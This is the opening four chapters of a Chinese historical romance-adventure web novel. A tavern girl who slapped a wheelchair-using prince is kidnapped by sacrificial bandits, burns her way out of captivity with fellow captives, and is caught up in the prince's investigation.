《你家王爷抵我正好》
1. 初遇一巴掌 “啪!”
“啪!”
一记耳光响彻整条大街,正在卖东西的商贩、买东西的平民百姓都纷纷停下手中动作,齐齐扭头打量着街上那两人。
只见中央大街上,一个身着锦绣华服的瘸子被一个半大不小的小丫头片子一巴掌甩到了一边,旁边还倒着个四脚朝天的轮椅。
前者一脸不可置信地抬手捂着脸,而后者动作敏捷地连连倒退几步。
“你没长眼睛啊?坐着个轮椅眼睛都要到天上去了,往哪撞不好非往我这撞?”那小丫头拍了拍手,随即叉腰,一脸鄙夷地看着那还在呆滞的男人,“看你穿得人模狗样的,没想到这么脆皮鸡子,我可没用多大力气,别想讹我!”
说罢,正准备扭头就走。
“站住!”那男人身后不知道从哪里冒出来一群人,唰唰一下冲上来就把那小丫头给包围住了。
吃瓜群众顿时炸开了锅。
“这怎么回事啊?”搂着孩子正在熟食摊前买肉的大姐探着脑袋,好奇问了句旁边同样站着看戏的男子。
“哎呦,可别提了,那小丫头不就是隔壁酒楼那个三三嘛,豪横得很,”那男子顿了顿,声音骤然降低,“那男的是元安王,不知道怎么回事坐着个轮椅直冲冲就往人群里冲,刚好往三三那撞……”
大姐啊了一声,换了个姿势抱孩子:“是那个……战场上战无不胜,结果被人下毒伤了腿的那个元安王吗?”
那男子竖起根手指,脸上一副战战兢兢的模样:“嘘!就是他,小点声!”
“你这泼妇!竟敢打我们王爷!”一个年纪略小的侍卫“chua”地一下拔了刀,气急败坏道,“看我不砍了你!”
三三看着被侍卫小心翼翼扶起,重新坐上轮椅的男人,忍不住朝天上看了一眼。
“你脑子眼睛是摆设吗?明明是他先撞我的,我好好走在路上,突然被人当面一撞差点摔了个底朝天,我打他一巴掌算轻的了。”
“你!”那侍卫忍不住上前了一步,眼见就要砍人。
三三一屁股坐了下来,开始哭天抹泪:
“天呐!这什么世道啊!我一良民走在大街上莫名其妙被人撞,现在还要被人砍!天呐!还让不让人活了!”
此话一出,周围的吃瓜群众顿时纷纷议论了起来。
那侍卫拿着刀目瞪口呆:“你这泼妇!谁撞你了!你、你赶紧起来!”
眼见人越来越多,那瘸腿王爷终于开口了。
“好了,是我不对在先,十一,给她一袋银子,”瘸腿王爷面无表情吩咐旁边的侍卫,“姑娘,不好意思了。”
十一动作很是利落,上前一把捞起了三三,往她怀里塞了一袋银子,皮笑肉不笑道:“姑娘,真是对不住了。”
说罢,也不管三三说什么,一群人直接浩浩荡荡地推着那瘸腿王爷走了。
三三手里拿着银子,盯着那群人,掂了掂,还挺重,起码有二十两!
真是太好了!今天财神爷眷顾!
三三笑弯了眼,把银子揣好,哼着歌走回酒楼。
“死丫头一天到晚跑哪里去了?没见店里客人多吗?”老板娘身材微胖,像个陀螺一样这边转完那边转,边转边骂刚踏进门口的三三,“你能不能帮帮忙?养你不如养条狗!”
三三讪笑了声,立即道:“这就来这就来!刚去给长安街的卢大人家送酒了!”
“老板,这边再上两壶酒!”恰好这时有桌客人吆喝着叫人。
三三见状,即刻应了声:“来了来了!”
东京城的夜市热闹得很,天还未黑,街上便早已亮满了灯,站在城里最高处俯瞰下方,只见一片红火,宛如红绸带般,绕着整个东京城,火光里人声鼎沸,热闹非凡。
“王爷,查过了,今天您坐的那把轮椅被人动了手脚,这才失控冲到了街上去。”十一望着坐在轮椅上的人,把调查结果一五一十地报给前面的人听。
钟鼓亭上风声猎猎,全场只闻十一一人的声音。
坐在轮椅上的元安王不为所动,十一报告完了,周遭立马安静了下来。
元安王手在扶椅上有一搭没一搭地敲着,混在风声里,竟有种奇异的节奏感。
半响,元安王才停止敲击,淡淡道:“知道了,夜深了,该回去了。”
风依旧猎猎作响,绕着亭子竟诡异的变了调,仿佛野兽嘶吼。
“啪!”地一声巨响,大殿上满朝文武纷纷跪下。
“东京城里竟然有如此恶行,真当朕是纸糊的老虎不成?!”一身黄袍的明武帝愤然起身,怒目圆瞪,手挨个点了大理寺和刑部,“大理寺少卿许微澜、刑部张思齐,你们负责督办此事,十日之内给朕把这群十恶不赦的大盗捉拿归案!不然你们就自己把自己关牢里去!”
说罢,愤愤甩手离去,留下一群跪倒在地的大臣面面相觑。
许微澜和张思齐同时左右扭头寻找对方的身影,眼里流露着相似的悲哀之情。
“许兄!”
“张兄!”
两人连滚带爬地抱在一起痛哭流涕。
元安王慢悠悠地滑着轮椅到他俩跟前,似笑非笑。
俩人听着轮椅声停在了跟前,立即撒手,许微澜甚至还抬手擦了擦根本不存在的眼泪。
张思齐:“……”
许微澜做作地吸了吸鼻子,垂手行礼道:“王爷。”
张思齐内心感慨对此人还是不够了解,但此时当着元安王的面不好发作,只得老实行礼,也唤了声王爷。
元安王抬了抬手,笑了笑:“不必多礼,二位大人接下如此重任,可千万别辜负陛下的期望。”
许微澜一下扑到了他轮椅跟前,哭哭啼啼:“王爷,你可要救救我啊,这事不简单,光靠我跟张兄不行啊!”
元安王抽了抽被他拽住的衣袍,没抽动,稍微用了点劲,还是没抽动,刚刚还一派看好戏的模样已浑然不见,冷漠无情地唤他的草字:“许嘉言,再不放开我就抽你了。”
“王爷!珩清啊!咱俩可是一起上国子监的情分!你忘了当年我为了给你带烤地瓜……”许微澜戏瘾大发,脸上一片情真意切,语气哀切地唤裴景明的字。
元安王再次使劲抽回了衣袍,还没来得及说什么,旁边的大皇子康钧王摇着扇子凑了过来,笑道:“是啊,珩清你可得帮着点嘉言,不然就他那三脚猫功夫说不定还会被那群大盗给掳了去。”
许微澜不敢再放肆,神色恢复自然:“王爷您说得对,但恐怕仅有元安王帮我跟张大人恐怕还不够,不知道王爷您是否也能助我等一臂之力呢?”
裴瑜宁哈哈大笑:“嘉言说笑了,我怎么比得了二弟,他一人足以,我就不去给你们添麻烦了。”说着不等人回话摇着扇子就走了。
张思齐左盯右看,不是说大皇子康钧王裴瑜宁跟二皇子元安王裴景明向来不对付吗?这是闹哪一出?
许微澜见人走了,立马扭头看裴景明:“他是不是故意挤兑你?”
“……这么明显你看不出?”裴景明坐在轮椅上,神色自若,“不用管他,这两天你们先查案,遇上难事再来找我。”
张思齐喜不自胜,连忙双手行礼:“多谢王爷!”
许微澜一手搭上裴景明的轮椅,一手朝张思齐摆了摆手,缓缓推了出去:“张兄,我们先走一步,今晚我去你家跟你捋一下这案子。”
“好好好!”张思齐连连应道。
“珩清,你腿怎么样了?现在天冷了,怕是疼痛难耐。”许微澜推着裴景明,轮椅驶过带起“de、de”的声音。
裴景明扫着城墙上覆着的雪,懒懒答道:“知道还问。”
他面容不似其他皇子般柔和,许是前几年在战场上呆久了,虽看起来面相依旧俊美,但气质中却带着点肃杀,本该盛着多情的桃花眼如今混杂着些说不清道不明的意味。
“你这人真是没意思,要不是跟你从小玩到大,除了我许嘉言和谢其樾之外,谁还受得了你这张嘴啊。”许微澜没好气道。
宫门外十一早已候在马车旁,见人出来了,立即迎了上去接过推轮椅的活。
“诶,我晚点跟张思齐通了气之后去你府里,你留个门啊。”许微澜见十一把裴景明扶上了马车,趁帘子落下时赶紧补了句。
“知道了。”裴景明淡淡应了声。
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“知道了,我等下就去!”三三手里端着五六个盘子,脚底生风,送完这桌送那桌,额头沁满了汗水。
老板娘让她给城外的张员外送车酒过去,说是明天要办宴席,已经装好车了,让三三赶紧趁天黑之前送过去。可是现在正值午时,是饭点,店里就只有她和另外一个女孩子在忙,另外一个店小二专门在酒楼外面吆喝客人,她实在是抽不开身去送酒。好不容易没那么忙了,老板娘又让她先把院子里的柴火给劈了,不然晚上烧饭不够用,三三想说劈完柴就傍晚了,到时候出城危险得很,尤其是最近那大盗抓人祭祀的事闹得整个东京城沸沸扬扬,连先生都不敢让她再去上课,但是话到嘴边又咽了下去,说与不说,柴还是要劈的,说了反而还会招来一顿骂。
三三心里叹了口气,努力提了提嘴角,安慰自己道,没事,抓紧时间劈完就去,没事的。
三三把要劈的木头摆好成一排,然后轮着斧头点卯似的挨个劈了过去。
“三三,你等下劈完先去送酒吧,我帮你把柴火搬去厨房,你再不去天就要黑了。”酒楼里另一个帮工刘雁掀开前厅通往院子的帘子,小声朝三三道。
“好,那先谢谢你了,改天给你带糖!”三三抬手用胳膊擦了擦要流向眼睛里的汗水。
刘雁笑了笑:“没事,你之前不也帮过我嘛。”
三三点点头,笑道:“也是,就咱俩了,互帮互助才能干得长久。”
三三嘴上是那么说,但其实刘雁跟她不一样。她是老板娘正儿八经招来的工人,每月发钱那种,三三不是,三三是老板娘买回来的,老板娘给她饭吃,给她地方住,把她养大,三三给老板娘打工是还债来的。三三问过老板娘要还多久,老板娘说养大三三一共花了一百两,按照给刘雁的工钱一月二两来算的话,要还五十年。
三三当时才十五岁,别说一百两,一两银子也只有收客人钱的时候才见过,更别说一百两了,当时只觉得这辈子都要卖身给酒楼了。
三三劈着柴,有一搭没一搭地回想着。
院子里除了前厅时不时传来客人的吆喝声伴随着三三的劈柴声,重重交叠中落日的余晖渐渐铺满了院子。
“雁子,我劈完了,你记得帮我搬回去啊,我先去送酒了!”三三手抖得厉害,但依旧给刘雁留了话。
她往水池边站了站,定了定神,手不那么抖了又洗了把脸,再拿上水壶去厨房装水,边喝边往院外那辆马车赶过去。
太阳挂在山峰上头,稍微还有点距离。
三三边拎起绳索驾马而行,边在心里算了算时间,快马加鞭的话应该还能趁天完全黑下来之前回到城内。思及此,手上挥鞭子的动作更快了。
车轮滚滚很快就到了城外的小树林,穿过这片树林就能到张员外家,但此时周遭安静的很,三三记得往常这个时候会有很多进城卖菜的人往回赶,但今日根本没见几个人。
“难道都因为那大盗没人回家了?还是没人进城卖菜了?”三三嘀咕道。
此情此景煞是瘆人,她不敢多停留,手上鞭子不停,周遭只能听见马车不停行驶的声音。
但很快,三三便闻到了一股奇异的香味,登时头晕目眩。
“完了,是迷香不成?”三三赶紧用力咬了舌头,猛然清醒了一瞬,但一抬头,只见周遭数十个蒙着脸的黑衣人手里拎着刀只扑她而来。
三三赶紧从屁股底下把藏起来的斧头拿了出来。
来人以为三三只是个手无缚鸡之力的小姑娘,拿出斧子也不过是虚张声势,嘲笑道:“小姑娘,别挣扎了,免受皮肉之苦。”
三三头晕目眩看人都重叠,又咬了一把舌头,疼得她眼泪都要出来了。
“废话少说,让开,不然就让你们见见姑奶奶斧头的厉害!”
“真是不见棺材不落泪,这么横,第三批祭祀的头就是她了!”那黑衣人狞笑道。
那黑衣人话一落下,猛然挥刀劈向三三面门,三三侧身闪过,斧头横劈直接砍向那人脑袋,对方见状立即弯腰躲了过去。
“看不出来,竟然会点功夫。”那黑衣人抬手示意,周围那十几个黑衣人一拥而上。
2. 被抓逃亡中
远处天色渐渐亮出鱼肚白,星子点点散落,淡得快要看不见了。林里雾气缭绕,混在泥土里的血水散发着浓重的血腥味。
“报官!快快快,快去报官!”老板娘清晨一早就看见自家酒楼专用的那马来回在院子里踱步,后边车上装着要送去张员外家的酒瓶早已破碎不堪,没一个是好的,仔细一看,碎瓶块上还沾着血。老板娘慌不择神,料想三三遇上了传闻中的大盗,赶紧大声叫着店小二去报官。
“大人!不好了!”衙门里的捕快小跑着上堂去找府尹。
府尹正和许微澜、张思齐二人在看此前报上来的失踪案,闻言立马抽了抽。
“该、该不会……”府尹两眼一番,差点倒了过去,好在张思齐眼疾手快扶住了他。
许微澜问那捕快:“是又有人失踪了吗?”
捕快深吸了两口气,答道:“禀大人,是的,又有人失踪了,还是一个女子。”
府尹闻言直接晕了过去。
“这是本月第十起失踪案了,一共失踪了十三个女子。”张思齐忧心忡忡地望着报上来的案子。
许微澜叹了口气:“这十三个女子里,大部分都是平民百姓,有一个是什么员外的女儿,虽说这话不好听,但好歹是没有什么大官的女儿,不然这案子更难办了。”
旁边晕倒的府尹这会已经清醒了,两眼呆滞无神,瘫坐在地上,瞧这模样还不如晕倒了好。
张思齐拎着报上来的文书,看了又看,再扭头看到府尹这副模样,深深叹了口气。
“许兄,昨夜你跟王爷商讨之后可有什么头绪?”
许微澜摆了摆手:“没有,他知道的我们都知道,甚至还不如我们知道的多呢,虽然元安王说了遇上难事找他,多半也只是说流程问题啥的,咱也不能太指望他了。”
许微澜这话说的在理,皇帝只钦点了他俩督办此案,要是皇子无令擅自介入……
张思齐又叹了口气,仿佛要把这辈子的气都叹完了。
……
“王爷,五三传回了消息。”十一拆开了信鸽上的纸条,递了过去。
“竟然这么巧?”裴景明刚刚喝了药膳,面色稍有红润,“既然跟踪到了,那就把消息同步给许微澜他们,让他们去查。”
十一点点头,立即让人把消息送衙门里去。
“王爷,今日还要习武吗?”十一看向院子里摆好的稻草人靶子,有些拿不准,今日是要练习射艺不成?
“取我那把玄铁弓来,今日练箭。”裴景明坐在轮椅上动了动腿。
虽然腿比之前好很多了,也能站起来了,但对外他还是个瘸子,还是装一装吧,裴景明想。
十一把那重若百斤的玄铁弓扛了过来,面上犹豫不决:“王爷,这弓如此重,您现在……”能行吗?十一犹豫再三还是不敢说出最后那几个字。
“没事,给我吧,慢慢来就是了。”裴景明不以为然,接过玄铁弓缓缓拉开……
“咻——”
“哐!”一声巨响,废旧已久的柴门被踹开,不省人事的三三跟被扔麻袋一样被扔进了柴房里。
柴房里面被绑起来的女子个个肮脏不堪,听闻动静下意识地蹬着腿往后挪动。
绑匪没有进来,把三三扔完就关门上锁。
柴房里黑得要命,只有墙上露出点两个巴掌大的缝隙能透进光来。
“这人看样子也是被抓进来的,哎。”一个褐色麻衣的女子盯着地上浑身是血的三三叹气道。
“怎么办,我们还能出去吗?呜呜呜呜——”靠近最里面一个身着粉衫,头上还戴着银簪的女子不知道是不是因为看见了三三的血,登时哭了起来。
“好了别哭了,哭也没用,先看看这人怎么回事,”离三三最近的一个身着黑色麻衣的女子胆子比较大,此前绑她的绳子早已被她磨掉了,还帮其他人也解开了,但为了避免贼人察觉,每每都要装模作样地在手上缠几圈。
她上前把面朝地上的三三翻了过来。
三三脑袋上都是血,面上血污混杂,看不清模样,胳膊上的衣服被刀砍破了,露出了大大小小的血痕。
“都过来帮忙清理一下吧,看样子她受了不小的伤。”那女子将三三放平,摸了摸身上的衣服,低头寻思了一会,捏住衣摆下方看起来干净点的布料,里外一翻就往三三脸上擦。
挨得近的几个女子也过来帮忙,纷纷照猫画虎跟凑拼图似的给三三擦血污。
那粉衫女子停止了哭泣,怯生生地从袖子里掏出了张洁白如雪的丝巾:“用、用这个吧。”
给三三翻面的那女子接了过来,笑了笑:“这不错,比我们衣服干净多了哈哈哈哈。”
粉衫女子不好意思地缩了缩手,也凑了过去看三三。
三三五官底子好,擦干净了脸之后,如果忽略她身上那破烂满是血污的粗布麻衣的话,倒像个官家小姐。
一群人头挨着头,给三三清理完之后就席地而坐,小声窃窃私语了起来。
“这人受了伤,该不会是跟那群大盗打起来了吧?”
“她是不是会武功啊?那我们是不是有救了啊?”
粉衫女子不知道从哪掏出了根长长的丝巾,绕着三三受伤的额头包扎了起来:“不好说,就算她会武功,外面这么多贼人……”
三三感觉脑袋头疼欲裂,周围还叽叽喳喳的,更加头疼了。她费劲巴拉地睁开眼,发现一群人围着她坐,见她醒了个个低头看了过来,这画面实在是太诡异了……
“你醒啦?”边上那个粉衫女子惊喜道。
三三手撑着地面想坐起来,一低头发现双手胳膊都被包了起来。
“你们给我包扎的?”
“是啊,条件有限,你伤口还在流血呢,只能先包起来了。”那粉衫女子帮忙扶着三三胳膊坐了起来,开始自我介绍道,“我叫王漾,你呢?”
三三犹豫了一下,才道:“我没有大名,大家都叫我三三。”
那黑麻衣的女子笑道:“这有啥,我也没有大名,这年头有大名的都是像王漾她们这种大户人家的孩子,我叫牛春花,我娘说我在春天生的,所以叫春花。”
三三笑了笑,逡巡了一圈,发现大家都是年纪差不多大的女子:“你们都是被抓过来的吗?”
众人点点头,牛春花指了指自己和另外几个人:“我们几个是最早的,大概五天前吧,比我们更早的都已经被抓去祭祀烧死了,王漾她们比我们晚两天,你是今天来的。”
三三下意识追问:“每一批被抓去祭祀的都有多少人?”
牛春花掰着手指头算了算:“每次是十个人这样,这群大盗还挺有讲究的,说什么十全十美。”
十个人,三三心里
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快速盘算了下,现在这里加上她统共七个人,还差三个人,还有时间。
“哐”地一声,柴门再次被重重推开,众人赶紧把手往后背,这次倒是没有再丢进来人,黑衣人只是把饭撩在了门口:“吃饭了!”
还没等人反应过来,又把门给锁上了。
牛春花把饭给端了过来,挨个发了下去,说是饭,其实是几个窝窝头,想吃饱是不可能的,只能勉强不饿死。
三三接过那窝窝头,一边啃一边琢磨着怎么逃出去。
牛春花长得蛮质朴,看起来力气也蛮大,看着像是农户家的孩子,王漾一眼瞧过去就是典型的十指不沾阳春水的千金小姐,其他几个人看上去跟牛春花差不多,就是没有牛春花体格大。
三三啃完了窝窝头,扭头发现了后边那块小窗。
三三盯着看了一会。
“等会你们吃完了,帮忙抬一下我,我看看窗外是什么情况。”
王漾吃东西很是优雅,牛春花已经啃了大半了,她才啃了两口,窝窝头跟刚拿到手似的。
牛春花把窝窝头啃完,拍了拍手:“我来我来,她们几个没啥力气。”
三三想了想也是,另外几个女子面黄肌瘦的,估计力气比王漾大不了多少。
牛春花搂住三三的小腿,一下就把三三给抬了起来,三三赶紧用被包得像猪蹄似的手扒住窗沿,探着脑袋往外瞧。
这应该是荒废了的农户柴房,周围都是树林,可能是猎户的,屋子外面围了好几个看守的黑衣人。太阳高挂半空,现在应该是晌午。
看来已经过了一夜了。三三想,也不知道老板娘和先生他们发没发现她失踪了。
“好了,放我下来吧。”三三收回猪蹄手。
牛春花一听赶紧把人放了下来。
王漾手里捏着剩下的半个窝窝头,凑了上来,问道:“怎么样,能逃出去吗?”
三三想了想,让众人围了过来,小声道:“这群贼人每次祭祀十人为限,我们这七个人,还差三个人,还有时间。”
王漾一听有希望,赶紧追问:“那怎么逃?”
三三看着她手里的窝窝头,诚实道:“我还不知道,要不你先吃完你的窝窝头吧。”
王漾本来提起的嘴角顿时耷拉了下来,继续生无可恋地啃没滋没味的窝窝头了。
三三问牛春花:“贼人是每日三餐都按时送饭过来吗?”
“是啊,掐点送的,”牛春花回想了一下,“从我被抓到现在,每天都是窝窝头。”
“都是同一个人吗?三三又问。
”他们都蒙着脸呢,哪知道是不是同一个人,但是看身形,好像就是一个人。”
三三若有所思。
……
“五三,那不是那天打了王爷一巴掌的丫头片子吗?”五三就是那天朝三三亮刀,扬言要砍了三三的侍卫,身边发出疑问的是二七。
“我知道啊,但她不是被抓了吗,那也是普通老百姓啊,一码归一码,”五三趴在草丛里不耐烦地答道,这里一堆虫子咬得他心烦,偏偏这次匆忙,没来得及带药,“你传信回家没?”
“传了传了,放心吧,我办事你还不放心吗?”二七轻轻一巴掌捂死了胳膊上的虫子,“就咱俩有点悬,先观望着吧。”
五三白了一眼他,就是你办事我才不放心!
3. 放火烧贼人
柴房周围的黑衣人一直在巡视看守,每隔两个时辰换一批人,如今天色要黑了,又换了一批新的人来看守。
“哐!”门又被重重打开了,三三仔细观察了一下,看身形还是中午那个黑衣人。
“诶大哥!给点水喝成吗?光吃窝窝头噎得慌啊。“三三赶紧伸出手拦了一下。
那黑衣人回头打量了一下三三,撂下一句等着就走了,没过多久,黑衣人再次扔了壶水过来。
三三倒了点水,就着窝窝头吃了。
“王小姐,你家不是在城东吗?也没有出城,怎么会被抓啊?”三三给王漾倒了点水。
“是没出城,是上街玩的时候莫名其妙就被打晕了,醒来发现就在这了,”王漾接过水停了一下,惊奇道,“你怎么知道我家在城东?难道你是我爹派来救我的?”
三三弯了弯眼,笑道:“不是,之前给你家送过酒,我知道城东王员外家有个女儿,猜想应该是你。”
“哦,这样,”王漾眼神瞬间淡了下来,没一会又亮了起来,“你这么一说我有印象了,你是不是来财酒楼那个三三啊?”
三三心想,我的名声这么大吗?
“是啊,我就是来财酒楼那个三三。不过,你怎么知道啊?”三三疑惑道。
“大家都知道啊,老板娘逢人就说她心善捡了个孩子养大,现在就在酒楼做帮工,而且有点身手,之前你在大街上打了元安王一顿都传开了呢。”
“啊?”三三懵了,“我打了谁?元安王?”
三三心想,我最近也没有打人啊,除了那个坐轮椅的……
啊?那个坐轮椅的是元安王啊?不是说他受了伤之后大门不出二门不迈的吗?
三三有点恍惚。怎么可能,元安王不是武艺高强吗?就算受了伤,也不可能被她一巴掌扇倒啊……
“是啊,都说那天元安王喝醉了酒兜着个轮椅就往人群里冲,结果撞上了你,被你……”
“诶,停停停,打住打住,这事以后再说,现在重要的是我们要怎么逃出去。”三三觉得有点尴尬,赶紧打断了王漾。
王漾哦了一声,继续啃窝窝头。
现在天已经黑了,外面的虫鸣声非常之大,三三再次扒着窗看了一会,外面那群守夜的黑衣人生了堆火在烤鸡,火声噼里啪啦,升起的烟火盘旋着袅袅上升。
“三三,怎么样了?”牛春花搂着三三的腿,头仰着费劲地想往外看,奈何身高受限,看不到一丁点。
“他们在烤鸡呢,”三三拍了拍牛春花的肩膀,示意放她下来。
“唉,这怎么办啊?看守的人那么多、那么严。”王漾蹲在地上手托着脸,叹了口气。
三三在看到火的时候心里就已经有了主意,没有什么比一场大火更能让人陷入混乱之中了。
这还是个柴房,干燥易燃的东西简直不要太多,三三想,果然是天无绝人之路!
“春花,王漾,大家都过来,听我说,这里是个废弃的柴房,我们可以钻木取火,把柴房烧起来,然后趁乱逃出去。”三三把人都聚了过来,小声道,“逃之前,最好每个人手上都拿根粗一点的木头、棍子之类的,这样也好保全自身。”
“但是这里没有火折子啊,怎么生火?”王漾率先发出疑问。
其他人也是不明就里,看样子都没怎么用过钻木取火的法子,倒是牛春花提了嘴:“钻木取火嘛,我知道,我小时候玩过,但是很难成功啊,所以我们农户都是直接用火折子的。”
三三神秘一笑:“那是因为你们都是直接一根木头钻另一根木头,肯定不好使,我有办法。”
她头一扭,又问王漾:“王小姐,你身上有什么带子吗?”
王漾摇头,抬手一指三三脑袋,老实道:“唯一一根带子用来给你包扎头了。”
“……好吧。”三三也不犹豫,直接把头上的带子给拆了,边拆边往柴火堆那里翻找几根细柴棍子,正好,带子拆完了细柴也找到了,她用带子分别往两端绑了起来,做成了个简易的弓和弦,又拿起另外一根细柴做转轴绕着带子转了好几圈。
“你这是找啥?”牛春花走近过来,虽然不知道要找什么,但是也跟着低头找。
“找个平一点、宽一点的柴火,”三三边四处张望边回道,突然发现那个褐色麻衣女子脚边的柴火正合适,惊喜道,“诶,就是那个,拿过来。”
褐色麻衣女子立即俯身弯腰捡了起来,快步上前递了过去。
三三接过,笑道:“谢谢啊。”
“没事,我叫李小梅。”
三三清点了下手上的东西,又让牛春花去翻了些碎干草出来打算用作火引。
牛春花不愧是经常干活的人,动作非常麻利,很快就找出了一捧干草。
三三接过来放在了地上,把底板放在干草上,再把那根细细的柴棍子竖放在底板上,用绑着带子的那根柴火来回拉。
牛春花蹲在一边,看三三手上的伤还没好,伸出手想要接过来拉:“我来拉吧,你手还伤着呢。”
三三一听,赶紧把工具递给了她,心想,还好有牛春花,不然就她一人拉到天亮都没一点火星。
“这样能行吗?”王漾低头凑近底板,“也没见火星啊。”
三三刚刚拉柴火牵扯到了伤口,她甩了甩手,肯定道:“能行,这招我用过很多次了。”
众人不语,只是盯着牛春花继续拉那根柴火。
约莫过了半个时辰,李小梅突然惊奇发现有烟味。
“好像有点烟味,你们闻到了吗?”李小梅蹲下身来,发现越靠近底板烟味越浓,激动地拍了拍大腿,“真的有用!”
“诶,小点声,”三三低头看了看底板下的干草,“牛春花,加油,快了。”
柴房外的黑衣人正围着火堆吃烤鸡,四周除了他们偶尔低头的交谈声外就是虫鸣声。
众人满怀期待地盯着牛春花卖力地来回拉着柴火弓,终于,功夫不负有心人,底板下面的干草冒出了火星,三三见状赶紧蹲下。
“好了好了,春花你先歇着,小梅来,我们一起把火星吹大点。”
李小梅赶紧蹲下,凑个头跟三三一块小心地用着巧劲吹火苗。
王漾激动地就差原地蹦跶了,为了避免突然有黑衣人过来,她赶紧拿上根棍子拉着个人去守在门口。
三三见火星越来越大,赶紧让其他人把一些细柴火拿过来堆上去。
干草被烧得通红,直往柴火上蔓延,火光骤然亮起,如同她们即将破门而出、逃出生天的希望。
“火还不够大,你们每个人都先找根棍子拿着防身,然后把剩下的柴火都扔过来烧!快快快!”三三边说边往柴火堆里找粗棍子。
火舌舔着干柴,没一会火势就越来越大了,柴房里都是浓烟,三三赶紧冲到门边,用力撞着门喊:“走水了!走水了!快来人啊!”
王漾也学着她边用力撞门边大声喊:“走水了!快来人啊!”
三三听见门外的黑衣人急匆匆赶过来的脚步声,高举手里的棍子往后退了几步。
来人用钥匙一打开门,迎面
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就被三三一棍子给打晕了,糟糕的是同他而来的还有两个黑衣人,三三只好再次甩棍大喊:“快跑!”
躲在身后的人赶紧一窝蜂挥着棍子冲了出来,边冲边甩棍子打那几个拔刀过来的黑衣人。
三三受了伤,如今再跟黑衣人打已是强弩之末,见火势已然失控,眼见就要烧穿屋顶了,到时肯定会引来更多黑衣人。
“快跑,不要管他们了!”三三眼见王漾又要被黑衣人抓住了,赶紧甩了那黑衣人一棍大板,直接把人横劈打扑在地。
“快跑!”三三厉声道,旋即快速环视了一圈,只见留下看守的几个黑衣人已经被打得乱七八糟、四仰八叉地倒在地上,见其他人都已经跑了,赶紧拎着棍子也跑了。
火光冲天,在浓重的夜色中将这一隅都照亮了。
“二七,快看!火!”五三用脚蹬了一下旁边打瞌睡的二七。
二七被蹬得一个激灵直接起身探出了头:“怎么了怎么了?”
五三一把薅过他头,恨恨道:“前面!着火了!”
二七顿时瞪大了眼睛:“走水了?”
五三松开手,不欲再言:“走,过去看看!”
三三疾步往树林里边跑,突然听到树丛里传来脚步声,猛然定住,只见前方出现两道身影。
“是你?!”三三愕然。
五三手握着刀,哼了声:“是我又怎样?”
三三不想与他废话,这里随时都有可能出现黑衣人。
见三三想走,二七拔刀拦了一下:“里面怎么回事?谁放的火?”
“对没错,让开,快去救火,”三三往前走了两步,忽悠道,“里面好多人呢,赶紧去吧。”
二七不疑有他,脚一抬就想去,被五三给拦住了。
“你放的火吧,”五三打量着她,“自你出城开始我就跟着你,此前这里根本没人注意,但你一被抓,这里就着火了,不是你还能是谁?”
三三没想到这人竟然跟了她一路,登时怒从心头起:“你跟着我,见我被抓,你没救我这就算了,你发现贼人的窝点也不喊人来救人,枉你穿着这身官服,还是什么元安王的侍卫,我呸!”
五三竖眉瞪目:“不是不救,是有目的、有计划的救!我们只有两个人……”
五三话还没说完,四面突然涌现出一大批黑衣人,瞬间就将三人给围了起来。
“都怪你们拦路,不然我早跑了!”三三简直要气死了。
二七嘿了一声:“怎么说话呢你,你这小丫头,年纪不大,脾气倒大……”
黑衣人不等二七说完,直接亮刀冲了上来。
三三手里只有一根木棍,抬棍格挡的时候直接被黑衣人给劈成了两半。三三无法,只能双手使棍。
眼见木棍被削得越来越短,五三一剑穿心砍了个黑衣人,把刀给顺了过来,直接往半空一扔:“接着!”
三三一脚踹翻迎面砍来的黑衣人,手上的木棍用力往黑衣人脖颈上一戳,直接把人戳晕了,又动作敏捷地在那黑衣人倒下之前顺过刀,闻言头也不抬,横劈那空中扔过来的刀,冷冷道:“不用。”
黑衣人训练有素,人又多,而五三和二七已经耗了大半力气,三三眼见不妙,扫了一圈:“西北方势弱,助我突围。”
五三和二七互相看了一眼,点了点头,三三飞身而起,手中刀直指黑衣人头颅,身后那两人见状立刻跟上。
没成想,三三竟然在打开缺口之后自己一人跑了!
“他娘的!她跑了!”五三气得眼睛都红了。
4. 腿瘸眼还瞎
二七人傻了。
难道刚刚那意思不是要一起共进退吗?怎么这臭丫头自己先跑了?!
围攻的黑衣人也被三三给搞懵了。但为首的黑衣人反应迅速,立刻瞧了瞧左右两个黑衣人,示意他们去追三三。
“本以为我们藏在这深山老林里已经够隐秘了,没想到还是被朝廷的人发现了,既如此,”那为首的黑衣人蒙着面,但露出的双眼中满是警惕,“杀了他们,别再让朝廷的人跟着过来。”
话音一落,立即挥刀刺向五三。
“咻——”,只闻凌空铮铮作响,充满着杀气的箭矢飞驰而来,直指黑衣人,五三抬刀挡的动作愣在半空,手微微下滑,只见那箭矢自黑衣人的后脑直穿前额,双目突出,随即轰隆倒地。
二七循着那箭矢来的方向一望,只见他家王爷坐在轮椅上,手里拿着那把玄铁弓,面无表情地盯着那倒地的黑衣人。
“王爷!”二七激动地蹦跶了两下,“是王爷!”
“元安王在此,尔等还不速手就擒?”五三见援兵已到,反应神速,立即将刀尖指向那早已死透的黑衣人,疾言厉色道,“难道你们都想向此人一样吗?”
本以为剩下的小喽啰见首领一死会慌不择路,再加上被五三这么一喝道,多半会老实束手就擒,没想到剩下的人竟然纷纷拿刀架脖子上囫囵一滑,刀声整齐响起的同时挨个倒了下去。
五三脸色骤变。
此时元安王早已被人推着来到了跟前,微微低头扫了一眼倒下的尸体。
二七收好刀鞘,靠近轮椅笑道:“我还以为王爷不会来了呢。”
裴景明本是不打算来的,让人把消息送给叶微澜就差不多了,结果没想到消息还没送出门,叶微澜就来了。
“珩清!”叶微澜一下马就直奔庭院,完全不顾侍卫阻拦,“快随我走!”
裴景明手里拿着玄铁弓,闻言微微侧头:“何事如此惊慌?”
叶微澜微微弯腰,手撑着膝盖,喘了一会才道:“张思齐的人说,三皇子那边有动作!派了人去城外!”
裴景明意味不明地笑了笑:“信还没看吧?”
“什么信?”
裴景明抬了抬下巴,示意十一告知许微澜。
“竟然如此?!那你更得跟我去了,不然对上宁北王裴文谦那小子,我跟张思齐可不是对手!”许微澜得知了信上的内容,霎时一个头两个大,裴文谦就是个事精儿!
裴景明挑了挑眉:“我一个瘸子怎么去?轮椅推到天都亮了吧?”
“你小子别给我装啊,十一快去备好马车,张思齐已经率先出发了,我们得赶紧。”许微澜才不管那么多,这裴家三兄弟一个比一个癫,只有他们仨才能互相克制,其他人对上他们只有被活活气死的份!
“放开我!”三三左右手被侍卫架住,根本动弹不得,只好破口大骂,“我是被绑架的良民!你们抓我干什么?”
